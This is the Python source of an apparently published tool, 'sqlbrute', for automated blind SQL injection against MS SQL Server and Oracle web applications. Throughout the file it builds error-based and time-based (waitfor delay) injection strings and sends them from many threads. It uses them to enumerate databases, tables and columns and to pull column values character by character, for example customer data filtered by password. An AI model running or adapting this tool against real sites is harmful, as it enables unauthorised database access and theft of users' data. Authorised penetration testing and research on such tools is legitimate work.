./others/sqlbrute.py

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
133.
134.
135.
136.
137.
138.
139.
140.
141.
142.
143.
144.
145.
146.
147.
148.
149.
150.
151.
152.
153.
154.
155.
156.
157.
158.
159.
160.
161.
162.
163.
164.
165.
166.
167.
168.
169.
170.
171.
172.
173.
174.
175.
176.
177.
178.
179.
180.
181.
182.
183.
184.
185.
186.
187.
188.
189.
190.
191.
192.
193.
194.
195.
196.
197.
198.
199.
200.
201.
202.
203.
204.
205.
206.
207.
208.
209.
210.
211.
212.
213.
214.
215.
216.
217.
218.
219.
220.
221.
222.
223.
224.
225.
226.
227.
228.
229.
230.
231.
232.
233.
234.
235.
236.
237.
238.
239.
240.
241.
242.
243.
244.
245.
246.
247.
248.
249.
250.
251.
252.
253.
254.
255.
256.
257.
258.
259.
260.
261.
262.
263.
264.
265.
266.
267.
268.
269.
270.
271.
272.
273.
274.
275.
276.
277.
278.
279.
280.
281.
282.
283.
284.
285.
286.
287.
288.
289.
290.
291.
292.
293.
294.
295.
296.
297.
298.
299.
300.
301.
302.
303.
304.
305.
306.
307.
308.
309.
310.
311.
312.
313.
314.
315.
316.
317.
318.
319.
320.
321.
322.
323.
324.
325.
326.
327.
328.
329.
330.
331.
332.
333.
334.
335.
336.
337.
338.
339.
340.
341.
342.
343.
344.
345.
346.
347.
348.
349.
350.
351.
352.
353.
354.
355.
356.
357.
358.
359.
360.
361.
362.
363.
364.
365.
366.
367.
368.
369.
370.
371.
372.
373.
374.
375.
376.
377.
378.
379.
380.
381.
382.
383.
384.
385.
386.
387.
388.
389.
390.
391.
392.
393.
394.
395.
396.
397.
398.
399.
400.
401.
402.
403.
404.
405.
406.
407.
408.
409.
410.
411.
412.
413.
414.
415.
416.
417.
418.
419.
420.
421.
422.
423.
424.
425.
426.
427.
428.
429.
430.
431.
432.
433.
434.
435.
436.
437.
438.
439.
440.
441.
442.
443.
444.
445.
446.
447.
448.
449.
450.
451.
452.
453.
454.
455.
456.
457.
458.
459.
460.
461.
462.
463.
464.
465.
466.
467.
468.
469.
470.
471.
472.
473.
474.
475.
476.
477.
478.
479.
480.
481.
482.
483.
484.
485.
486.
487.
488.
489.
490.
491.
492.
493.
494.
495.
496.
497.
498.
499.
500.
501.
502.
503.
504.
505.
506.
507.
508.
509.
510.
511.
512.
513.
514.
515.
516.
517.
518.
519.
520.
521.
522.
523.
524.
525.
526.
527.
528.
529.
530.
531.
532.
533.
534.
535.
536.
537.
538.
539.
540.
541.
542.
543.
544.
545.
546.
547.
548.
549.
550.
551.
552.
553.
554.
555.
556.
557.
558.
559.
560.
561.
562.
563.
564.
565.
566.
567.
568.
569.
570.
571.
572.
573.
574.
575.
576.
577.
578.
579.
580.
581.
582.
583.
584.
585.
586.
587.
588.
589.
590.
591.
592.
593.
594.
595.
596.
597.
598.
599.
600.
601.
602.
603.
604.
605.
606.
607.
608.
609.
610.
611.
612.
613.
614.
615.
616.
617.
618.
619.
620.
621.
622.
623.
624.
625.
626.
627.
628.
629.
630.
631.
632.
633.
634.
635.
636.
637.
638.
639.
640.
641.
642.
643.
644.
645.
646.
647.
648.
649.
650.
651.
652.
653.
654.
655.
656.
657.
658.
659.
660.
661.
662.
663.
664.
665.
666.
667.
668.
669.
670.
671.
672.
673.
674.
675.
676.
677.
678.
679.
680.
681.
682.
683.
684.
685.
686.
687.
688.
689.
690.
691.
692.
693.
694.
695.
696.
697.
698.
699.
700.
701.
702.
703.
704.
705.
706.
707.
708.
709.
710.
711.
712.
713.
714.
715.
716.
717.
718.
719.
720.
721.
722.
723.
724.
725.
726.
727.
728.
#!/usr/bin/env python
 
import threading
import Queue
import sys
import getopt
import string
import urllib
import cgi
import time
import re
 
# Set some globals
 
# dictionary for tracking threads and pycurl handles
handles = {}
handleLock = threading.Lock()
sslSupport = True
 
# use pycurl if installed
try:
    import pycurl2               # currently disabled
    sendlayer = "pycurl"    
except ImportError:
    import urllib2
    sendlayer = "urllib2"
 
# see if SSL support is compiled in for urllib2
if sendlayer == "urllib2":
    try:
        import _ssl
    except ImportError:
        print "SSL support not installed - https will not be available"
        sslSupport = False
 
# consume some signals for pycurl
try:
    import signal
    from signal import SIGPIPE, SIG_IGN
    signal.signal(signal.SIGPIPE, signal.SIG_IGN)
except ImportError:
    pass
 
#
# class to manage the threading.  No actual stuff is done in here - we pass function names and args
#
# Adapted from Python in a Nutshell (excellent book)
#
class Worker(threading.Thread): # inherits the Thread class
    requestID = 0   # each thread has a request ID so we can match responses
 
    # constructor - takes two queues as parameters (overrides threading constructor)
    def __init__(self, requestsQueue, resultsQueue, threadNumber, **kwds):
        threading.Thread.__init__(self, **kwds)
        self.setDaemon(1)   # run in background
        self.workRequestQueue = requestsQueue
        self.resultQueue = resultsQueue
        self.setName(threadNumber)
        if sendlayer == "pycurl":
            handleLock.acquire()   # don't want to update the dictionary simultaneously from multiple threads
            handles[threadNumber] = pycurl.Curl()     # libcurl handle for this thread
            handleLock.release()
        self.start()        # start the thread
 
    # call the function here - pass in the function and parameters
    def performWork(self, callable, *args, **kwds):
        Worker.requestID += 1
        self.workRequestQueue.put((Worker.requestID, callable, args, kwds))
        return Worker.requestID
 
    def run(self):   # override run
        while 1:
            requestID, callable, args, kwds = self.workRequestQueue.get()
            self.resultQueue.put((requestID, callable(*args+(int(self.getName()),), **kwds)))
 
class sqlbrute:
    # User variables - change if you want
    num = 10            # default number of worker threads
    targeturl = ""
    cookie = ""
    verb = ""
    verbose = 0
    postdata = ""
    table = ""
    cols = ""
    headers = [["User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"]]
    wherecol = ""
    whereval = ""
    dbenum = False          # default to enumerating tables from current database
    enumtype = ""           # by default, tables will be enumerated from current database
    dbtype = "sqlserver"
    errorregex = ""
    targeturl = ""
    timetrack = time.time()
    timeout = 60             # timeout to wait for responses before exiting tool
    database = ""           # database to use (instead of default)
    andor = " OR "          # default to "or" mode.  either "or" or "and"
                            # specifies this is going to be select * from foo where 1=2 _and_ <exploit string>
 
    method = "error"        # method of testing - error or time based
 
    outputfile = ""
 
    if sys.platform == "win32":     # timing is unreliable in python.org win32 version. I'd use linux for now
        waitfor = 10
    else:
        waitfor = 7
 
    if sys.platform == "win32":
        waitres = 5         # time.time() is hideously unreliable in windows
    else:
        waitres = 5
 
    tablesource = "sysobjects"    # name of source to initially query
    namecol = "name"                # column used for the database name
    substrfn = "SUBSTRING"      # substring for SQL, substr for oracle
 
    reqcounter = 0            # number of test requests received
    testcounter = 0           # counter to track that requests have passed and failed appropriately
    testvar = 0
 
    requestsQueue = Queue.Queue()
    resultsQueue = Queue.Queue()
 
    # add any additional characters you need matched to this list
    matches = ["e","t","a","o","i","n","s","r","h","l","d","u","c","f","m","w","y","g","p","b","v","k","x","j","q","z","0","1","2","3","4","5","6","7","8","9","-",".","[_]","+","#","@","$"]
 
    def usage(self):
        print """
 ___  _____  __    ____  ____  __  __  ____  ____ 
/ __)(  _  )(  )  (  _ \(  _ \(  )(  )(_  _)( ___)
\__ \ )(_)(  )(__  ) _ < )   / )(__)(   )(   )__) 
(___/(___/\\\\(____)(____/(_)\_)(______) (__) (____)
"""
        print "v.%s" % Version
        print """
    Usage: %s options url
            [--help|-h]                        - this help
            [--verbose|-v]                     - verbose mode
            [--server|-d oracle|sqlserver]     - type of database server (default MS SQL Server)
            [--error|-e regex]                 - regex to recognize error page (error testing only)
            [--threads|-s number]              - number of threads (default 10)
            [--cookie|-k string]               - cookies needed
            [--time|-n]                        - force time delay (waitfor) testing 
            [--data|-p string]                 - POST data
            [--database|-f database]           - database to enumerate data from (SQL Server)
            [--table|-t table]                 - table to extract data from
            [--column|-c column]               - column to extract data from
            [--where|-w column=data]           - restrict data returned to rows where column "column" matches "data"
            [--header|-x header::val]          - header to add to the request (i.e. Referer::http://foobar/blah.asp)
            [--output|-o file]                 - file to send output to
 
Note: exploit will go on the end of the query or post data.  This must be correctly formatted for a SQL subquery to be appended.
        """ % sys.argv[0]
 
        print '''e.g. %s --data "searchtype=county&county=1'" --error "NO RESULTS" --database webapp --table customer --column custnum --where password=password http://webapp/page.asp''' % sys.argv[0]
 
    # buyer beware if you change anything below - execution starts here
    def main(self, argv=None):
        if argv is None:
            argv = sys.argv
 
        try:
            try:
                opts, args = getopt.getopt(argv[1:], "hvs:k:f:np:x:d:t:c:w:e:o:", \
["help","verbose","server=","header=","error=","threads=","cookie=","database=","time","data=","table=","column=","where=","output="])
                if len(args) <> 1:  # 1 arg is the URL
                    print "Args <> 1" 
                    raise getopt.error
            except:
                raise getopt.error
 
            self.targeturl = args
            if sslSupport == False and re.search(r'https://', self.targeturl):
                print "You don't seem to have SSL support installed, so no https URLs for you"
                return 1
 
            for o,a in opts:
                if o in ("-v", "--verbose"):
                    self.verbose += 1
                if o in ("-x", "--header"):
                    self.headers += [a.split("::",1)]
                if o in ("-k", "--cookie"):
                    self.cookie = a
                if o in ("-h", "--help"):
                    self.usage()
                    return 1
                if o in ("-p", "--data"):
                    self.postdata = a
                    self.verb = "POST"
                if o in ("-n", "--time"):
                    self.method = "time"
                if o in ("-s", "--threads"):
                    self.num = int(a)
                    if self.num < 1:
                        print "Threads must be at least 1"
                        return 1
                if o in ("-d", "--server"):
                    if a == "oracle": self.dbtype = a
                    if a == "sqlserver": self.dbtype = a
                if o in ("-t", "--table"):
                    self.table = a
                if o in ("-c","--column"):
                    self.cols = a
                if o in ("-w", "--where"):
                    temp = a.split("=",1)
                    self.wherecol = temp[0]
                    self.whereval = temp[1]
                if o in ("-e", "--error"):
                    self.errorregex = a
                    self.method = "error"
                if o in ("-f", "--database"):
                    self.database = a
                if o in ("-o", "--output"):
                    self.outputfile = a
 
            if self.cols<>"":
                if self.table=="":
                    print "If requesting column data, you must specify table"
                    return 1
 
            if not self.errorregex:
                self.errorregex = r"(error|could not process)"
 
            if not self.verb:
                self.verb = "GET"
 
            if (self.verb == "POST" and not self.postdata):
                print "Specify some POST data"
                return 1
 
            if self.enumtype=="":
                if self.table=="" and self.cols=="":
                    if self.dbtype == "sqlserver" and not self.database:
                        self.enumtype="database"
                    else:
                        self.enumtype="table"
                else:
                    if self.table<>"" and self.cols=="":
                        self.enumtype="column"
                    else:
                        self.enumtype="data"
 
            if self.dbtype=="oracle":
                self.substrfn = "SUBSTR"
                self.tablesource = "USER_TABLES"
                self.namecol = "TABLE_NAME"
 
            if self.verbose:
                print "Database type: %s" % self.dbtype
                print "Table: %s" % self.table
                print "Columns: ", self.cols
                print "Enumeration mode: %s" % self.enumtype
                print "Threads: %d" % self.num
 
            if self.database and self.dbtype=="oracle":
                print "Database specification is not valid for Oracle"
                return 1
 
            if self.database != "":         # add .. for between database and table
                self.database += ".."
 
        except:
            print "Incorrect options usage"
            self.usage()
            return 1
 
        # create worker classes to assign work to later
        for i in range(self.num):
            self.worker = Worker(self.requestsQueue, self.resultsQueue, i)
 
        # keep track of what we send off to the queues
        self.workRequests = {}
#        if sendlayer=="urllib2":
#          print """
#***pycurl not found***
#Defaulting to Python urllib2
#Consider installing pycurl from http://pycurl.sourceforge.net -- it's faster
#"""
 
        if self.verbose:
            print "Testing the application to ensure your options work\n"
 
        if self.method == "error":
            self.testvar = self.testexploiterror()
        else:
            self.testvar = self.testexploittime()
 
        if self.testvar==1:
            print """
    To troubleshoot:
 
    1) try using -v to see that the queries are correctly formatted
    2) try using -vv to get the responses printed to the screen
    3) fix your broken url/post data
    4) check the error value you are using
    5) you've specified the correct database type haven't you?"""
            return(1)
 
        print "This program will currently exit " + str(self.timeout) + " seconds after the last response comes in."
 
        for i in self.matches:
            if self.method == "error":
                self.gentesterror(i)
            else:
                self.gentesttime(i)
 
        self.showResults()
 
    def postReformat(self, postdata):
        return urllib.urlencode(cgi.parse_qsl(postdata))
 
    def querystringReformat(self, qsdata):
        temp = qsdata.split("?")
        if len(temp) == 2:
            return temp[0] + "?" + urllib.urlencode(cgi.parse_qsl(temp[1]))
        else:
            return qsdata
 
    def doRequest(self, expressionString, exploitdata, match, type, threadName):
        while True:
            if sendlayer == "pycurl":
                handleLock.acquire()   # don't want to update the dictionary simultaneously from multiple threads
                thisHandle = handles[threadName]     # libcurl handle for this thread
                handleLock.release()
                resp = open(str(threadName), "wb")
 
            if self.verb == "GET":
                if sendlayer == "urllib2":
                    req = urllib2.Request(self.querystringReformat(expressionString))
                else:
                    thisHandle.setopt(pycurl.URL, self.querystringReformat(expressionString))
            else:
                if sendlayer == "urllib2":
                    req = urllib2.Request(self.querystringReformat(expressionString),
                                          self.postReformat(exploitdata))
                else:
                    thisHandle.setopt(pycurl.URL, expressionString)
                    thisHandle.setopt(pycurl.POSTFIELDS, self.postReformat(exploitdata))
 
            if self.cookie<>"":
                if sendlayer == "urllib2":
                    req.add_header("Cookie",self.cookie)
                else:
                    thisHandle.setopt(pycurl.HTTPHEADER, self.cookie)  # reformat cookie?
            if self.headers<>[[]]:
                for i in self.headers:
                    if sendlayer == "urllib2":
                        req.add_header(i[0],i[1])
                    else:
                        thisHandle.setopt(pycurl.HTTPHEADER, i)  # reformat headers?
            try:
                starttime = time.time()  # get time at start of request
                if sendlayer == "urllib2":                
                    resp = urllib2.urlopen(req)
                else:
                    thisHandle.setopt(pycurl.WRITEDATA, resp)
                    thisHandle.setopt(pycurl.NOSIGNAL, 1)
                    thisHandle.setopt(pycurl.CONNECTTIMEOUT, 30)
                    thisHandle.setopt(pycurl.TIMEOUT, 300)
                    thisHandle.perform()
 
            except urllib2.HTTPError,err:  # catch an HTTP 500 error or similar here
                return err.read(), match, type, starttime, time.time()
            except:
                import traceback
                traceback.print_exc(file=sys.stderr)
                sys.stderr.flush()
 
                print "Unexpected error on: %s %s - Retrying in 5 seconds" % (expressionString,exploitdata)
                time.sleep(5)
            else:
                if sendlayer == "urllib2":
                    return resp.read(), match, type, starttime, time.time()
                else:
                    #temp = resp.read()
                    #resp.close()
                    return resp.read(), match, type, starttime, time.time()
 
    def testexploiterror(self):
        if self.dbtype=="sqlserver":
            positivestring = self.andor + "exists (select * from master..sysdatabases)--"
            negativestring = self.andor + "not exists (select * from master..sysdatabases)--"
 
        if self.dbtype=="oracle":
            positivestring = self.andor + "exists (select * from USER_TABLES)--"
            negativestring = self.andor + "not exists (select * from USER_TABLES)--"
 
        self.genreq(positivestring, "", False)
        self.genreq(negativestring, "", False)
 
        while self.reqcounter != 2:
            try:
                id, results = self.resultsQueue.get_nowait()
            except Queue.Empty:
                if (time.time() - self.timetrack) > self.timeout:    # if its been > (timeout) seconds since last successful resp
                    print "Timed out accessing application\n"
                    return(1)
                else:
                    continue
 
            self.timetrack = time.time()        # update record of last successful response
            self.reqcounter += 1                # update number of requests received
 
            if self.verbose>1:
                print 'Result %d: -> %s' % (id, urllib.unquote(self.workRequests[id]))
                print 'Response: %s' % results[0]
                print 'Results: %s, %s' % (results[1], results[2])
 
            if not re.search(self.errorregex,results[0]) :       # no error returned
                self.testcounter += 1              # increment counter 1 if no error returned
                if self.verbose>1:
                    print "No Error"
            else:       # error returned
                self.testcounter += 2              # increment counter 2 is error returned
                if self.verbose>1:
                    print "Error"
 
        if self.testcounter == 3:                  # one failed, one passed request (success!)
            if self.verbose:
                print "Exploit and parameters appear to work\n"
                return(0)
        else:                       # failed :-(
            if self.andor == " OR ":       # if we were using or, try changing to AND
                if self.verbose:
                    print "OR doesn't appear to work - trying AND"
                self.andor = " AND "
                self.reqcounter = 0
                self.testcounter = 0
                return (self.testexploiterror())
            else:
                print "User input exploit and parameters do not appear to work for error testing - trying time testing\n"
                return(self.testexploittime())        
 
    def testexploittime(self):
        teststring = "%3Bwaitfor delay '0:0:" + str(self.waitfor) + "'--"
 
        self.genreq(teststring, "", False)
 
        waiting = True
 
        while waiting:
            try:
                id, results = self.resultsQueue.get_nowait()
            except Queue.Empty:
                continue
 
            waiting = False
            if self.verbose>1:
                print 'Result %d: -> %s' % (id, urllib.unquote(self.workRequests[id]))
                print 'Response: %s' % results[0]
                print 'Start time: %s' % results[3]
                print 'Finish time: %s' % results[4]
 
            if results[4]-results[3] > (self.waitfor-self.waitres):       # time testing worked
                self.method = "time"
                elapsed = results[4] - results[3]
                if elapsed > (self.waitfor * 2):  # slow app
                    self.timeout *= (elapsed/self.waitfor)
                if self.verbose:
                    print "Exploit and parameters appear to work for time testing\n"
                return(0)
            else:                       # failed :-(
                print "User input exploit and parameters do not appear to work for time testing\n"
                return(1)
 
    # generate checks - these get multithreaded on the queue
    def genreq(self, request, match, type):
        if self.verb == "GET":  # standard GET request- exploit querystring
            expressionString = self.targeturl[0] + request
            exploitdata=""
        elif (self.verb == "GET" and self.postdata): # post request, but exploit querystring
            expressionString = self.targeturl[0] + request
            exploitdata = self.postdata
        else:
            expressionString = self.targeturl[0] # standard post request, exploit post data
            exploitdata = self.postdata + request
 
        id = self.worker.performWork(self.doRequest, expressionString, exploitdata, match, type)
        if self.verb == "GET":
            self.workRequests[id] = expressionString
        else:
            self.workRequests[id] = exploitdata
 
    # handle underscores
    def unquote(self, s):
        return re.sub(r'\[\_\]','_',s)
 
    # generate the testing string as a series of CHAR()+CHAR or CONCAT(CHR(),CHR()) strings
    def genchars(self, s):
        t = self.unquote(s)
        foo = len(t)
 
        if self.dbtype=="oracle":          # use concat statements for oracle
            if foo==1:       # one character - no concat
                bar = "CHR("+str(ord(t[0].upper()))+")"
            else:          # generate one concat statement
                if foo==2:
                    bar = "CONCAT(CHR("+str(ord(t[0].upper()))+"),CHR("+str(ord(t[1].upper()))+"))"
                else:       # generate mutiple statements
                    bar = ""
                    for i in range((foo-1)):
                        bar += "CONCAT(CHR("+str(ord(t[i].upper()))+"),"
                    bar += "CHR("+str(ord(t[foo-1].upper()))+")"
                    for i in range(foo-1):
                        bar += ")"
        else:           # sql server, so use + signs for concatentation
            if foo==1:       # one char
                bar = "CHAR("+str(ord(t[0].upper()))+")"
            else:          # generate CHAR()+CHAR() statements
                bar = ""
                for i in range((foo-1)):
                    bar += "CHAR("+str(ord(t[i].upper()))+")%2B"
                bar += "CHAR("+str(ord(t[foo-1].upper()))+")"
        return bar
 
    # generate the guess cases - error
    def gentesterror(self, s):
        foo = ""
        if self.dbtype == "sqlserver":
            foo = "xtype='u' and "
 
       # SQL injection constructors - these assume we can just add these onto the end of the URL or post data
 
        if self.enumtype=="database":       # sql server only
            pretable = self.andor + "exists (select * from master..sysdatabases where " + self.substrfn + "(UPPER(" + self.namecol + "),1,"
            midtable = ")="
            posttable = ")--"
 
        if self.enumtype=="table":
            pretable = self.andor + "exists (select * from " + self.database + self.tablesource + " where " + foo + self.substrfn + "(UPPER(" + self.namecol + "),1,"
            midtable = ")="
            posttable = ")--"
 
        if self.enumtype=="column":
            if self.dbtype=="sqlserver":
                pretable = self.andor + "exists (select * from " + self.database + "syscolumns where id = object_id('" + self.database + self.table + "') and " + self.substrfn + "(UPPER(" + self.namecol + "),1,"
                midtable = ")="
                posttable = ")--"
            else:
                pretable = self.andor + "exists (select * from ALL_TAB_COLUMNS where TABLE_NAME=UPPER('" + self.table + "') and " + self.substrfn + "(UPPER(COLUMN_NAME),1,"
                midtable = ")="
                posttable = ")--"
 
        if self.enumtype=="data":
            if self.dbtype=="sqlserver":
                if self.wherecol == "":         # no where clause supplied
                    pretable = self.andor + "exists (select * from " + self.database + self.table + " where " + self.substrfn + "(UPPER(convert(varchar," + self.cols + ",2)),1,"
                else:       # where clause supplied
                    pretable = self.andor + "exists (select * from " + self.database + self.table + " where " + self.wherecol + "='" + self.whereval + "' and " + self.substrfn + "(UPPER(convert(varchar," + self.cols + ",2)),1,"
                midtable = ")="
                posttable = ")--"
            else:           # oracle
                if self.wherecol == "":         # no where clause supplied
                    pretable = self.andor + "exists (select * from " + self.table + " where " + self.substrfn + "(UPPER(TO_CHAR(" + self.cols + ")),1,"
                else:       # where clause supplied
                    pretable = self.andor + "exists (select * from " + self.table + " where " + self.wherecol + "='" + self.whereval + "' and " + self.substrfn + "(UPPER(TO_CHAR(" + self.cols + ")),1,"
                midtable = ")="
                posttable = ")--"
 
        teststring = self.genchars(s)
 
        self.genreq(pretable + str(len(self.unquote(s))) + midtable + teststring + posttable, s, True)
 
    # generate test cases - time
    def gentesttime(self, s):
        prewaitforlike = "%3Bif EXISTS (select name from master..sysdatabases where name like '"
        postwaitfor = "%') waitfor delay '0:0:" + str(self.waitfor) + "'--"
 
        predblike = "%3Bif EXISTS (select name from " + self.database + "sysobjects where xtype = 'u' and name like '"
 
        pretablike = "%3Bif EXISTS (select name from " + self.database + "syscolumns where id in (select id from " + self.database + "sysobjects where name = '" + self.table + "') and name like '"
 
        if self.whereval=="":    # enumerating values in a specific column
            predatalike = "%3Bif EXISTS (select * from " + self.database + self.table + " where CONVERT(varchar," + self.cols + ",2) like '"
        else:       
            prejoinlike = "%3Bif EXISTS (select * from " + self.database + self.table + " where CONVERT(varchar," + self.wherecol + ",2) = '" + self.whereval + "' AND CONVERT(varchar," + self.cols + ",2) like '"
 
        if self.enumtype=="database":
            self.genreq(prewaitforlike + s + postwaitfor, s, True)
        if self.enumtype=="table":
            self.genreq(predblike + s + postwaitfor, s, True)
        if self.enumtype=="column":
            self.genreq(pretablike + s + postwaitfor, s, True)
        if self.enumtype=="data":
            if self.whereval=="":
                self.genreq(predatalike + s + postwaitfor,s,True)
            else:
                self.genreq(prejoinlike + s + postwaitfor,s,True)
 
    def checkmatchtime(self, s):
        prewaitforequals = "%3Bif EXISTS (select name from master..sysdatabases where name = '"
        postwaitforequals = "') waitfor delay '0:0:" + str(self.waitfor) + "'--"
 
        predbequals = "%3Bif EXISTS (select name from " + self.database + "sysobjects where xtype = 'u' and name = '"
 
        pretabequals =  "%3Bif EXISTS (select name from " + self.database + "syscolumns where id in (select id from " + self.database + "sysobjects where name = '" + self.table + "') and name = '"
 
        if self.whereval=="":    # enumerating values in a specific column
            predataequals = "%3Bif EXISTS (select * from " + self.database + self.table + " where CONVERT(varchar," + self.cols + ",2) = '"
        else:
            prejoinequals = "%3Bif EXISTS (select * from " + self.database + self.table + " where CONVERT(varchar," + self.wherecol + ",2) = '" + self.whereval + "' AND CONVERT(varchar, " + self.cols + ",2) = '"
 
        if self.enumtype=="database":
            self.genreq(prewaitforequals + self.unquote(s) + postwaitforequals, s, False)
        if self.enumtype=="table":
            self.genreq(predbequals + self.unquote(s) + postwaitforequals, s, False)
        if self.enumtype=="column":
            self.genreq(pretabequals + self.unquote(s) + postwaitforequals, s, False)
        if self.enumtype=="data":
            if self.whereval=="":
                self.genreq(predataequals + self.unquote(s) + postwaitforequals, s, False)
            else:
                self.genreq(prejoinequals + self.unquote(s) + postwaitforequals, s, False)
 
    # generate check for whether we have an exact match (error testing)
    def checkmatcherror(self, s):
        foo = ""
        if self.dbtype == "sqlserver":
            foo = "xtype='u' and "
 
        # SQL injection constructors - these assume we can just add these onto the end of the URL or post data
        if self.enumtype=="database":       # only valid for sql server
            pretable = self.andor + "exists (select * from master..sysdatabases where UPPER(" + self.namecol + ")="
            posttable = ")--"
 
        if self.enumtype=="table":
            pretable = self.andor + "exists (select * from " + self.database + self.tablesource + " where UPPER(" + self.namecol +")="
            posttable = " )--"
 
        if self.enumtype=="column":
            if self.dbtype=="sqlserver":
                pretable = self.andor + "exists (select * from " + self.database + "syscolumns where id = object_id(" + self.genchars(self.database + self.table) + ") and UPPER(" + self.namecol + ")="
                posttable = ")--"
            else:
                pretable = self.andor + "exists (select * from ALL_TAB_COLUMNS where TABLE_NAME=UPPER(" + self.genchars(self.table) + ") and UPPER(COLUMN_NAME)="
                posttable = ")--"
 
        if self.enumtype=="data":
            if self.dbtype=="sqlserver":
                if self.wherecol == "":         # no where clause supplied
                    pretable = self.andor + "exists (select * from " + self.database + self.table + " where UPPER(convert(varchar," + self.cols + ",2))="
                else:       # where clause supplied
                    pretable = self.andor + "exists (select * from " + self.database + self.table + " where " + self.wherecol + "=" + self.genchars(self.whereval) + " and UPPER(convert(varchar," + self.cols + ",2))="
                posttable = ")--"
            else:   # oracle
                if self.wherecol == "":         # no where clause supplied
                    pretable = self.andor + "exists (select * from " + self.table + " where UPPER(TO_CHAR(" + self.cols + "))="
                else:       # where clause supplied
                    pretable = self.andor + "exists (select * from " + self.table + " where " + self.wherecol + "=" + self.genchars(self.whereval) + " and UPPER(TO_CHAR(" + self.cols + "))="
                midtable = ")="
                posttable = ")--"
 
        teststring = self.genchars(s)
 
        self.genreq(pretable + teststring + posttable, s, False)
 
    # used to check results and exact checks
    def showResults(self):
        self.timetrack = time.time()
        while True:
            try:
                id, results = self.resultsQueue.get_nowait()
            except Queue.Empty:
                if (time.time() - self.timetrack) > self.timeout:    # if its been > (timeout) seconds since last successful resp
                    break
                else:
                    continue
 
            self.timetrack = time.time()        # update record of last successful response
 
            if self.verbose>1:
                print 'Result %d: -> %s' % (id, urllib.unquote(self.workRequests[id]))
                print 'Results: %s, %s' % (results[1], results[2])
                print 'Start time: %s' % results[3]
                print 'Finish time: %s' % results[4]
 
            if self.verbose>2:
                print 'Response: %s' % results[0]
 
            if self.method == "error":    # if using error testing
                if not re.search(self.errorregex,results[0]) :       # no error returned
                    if self.verbose > 1:
                        print 'No error'
                    if results[2]:                       # if a guess match test
                        if self.verbose:
                            print "%s" % self.unquote(results[1])
                        self.checkmatcherror(results[1])
                    else:
                        print "Found: %s" % self.unquote(results[1])
                        for i in self.matches:
                            self.gentesterror(results[1]+i)
                        if self.outputfile != "":
                            outputhandle = file(self.outputfile, 'a', 0)
                            outputhandle.write(self.unquote(results[1])+"\r\n")
                            outputhandle.close()
                else:       # no match
                    if self.verbose > 1:
                        print 'Error detected'
 
                    if not results[2]:                   # if was an exact match test (and failed) generate more
                        for i in self.matches:
                            self.gentesterror(results[1]+i)
            else:   # if time based testing
                if results[4]-results[3] > (self.waitfor-self.waitres):       # we had a match
                    if results[2]:         # guess match test
                        if self.verbose:
                            print "%s" % self.unquote(results[1])
                        self.checkmatchtime(results[1])
                    else:    # exact match test
                        print "Found: %s" % self.unquote(results[1])
                        for i in self.matches:
                            self.gentesttime(results[1]+i)
                        if self.outputfile != "":
                            outputhandle = file(self.outputfile, 'a', 0)
                            outputhandle.write(self.unquote(results[1])+"\r\n")
                            outputhandle.close()
                else:       # no match
                    if not results[2]:  # if it was an exact match condition (and failed) - iterate further
                        for i in self.matches:
                            self.gentesttime(results[1]+i)
 
 
# main called here
 
if __name__ == "__main__":
    instance = sqlbrute()
    sys.exit(instance.main())
 

Back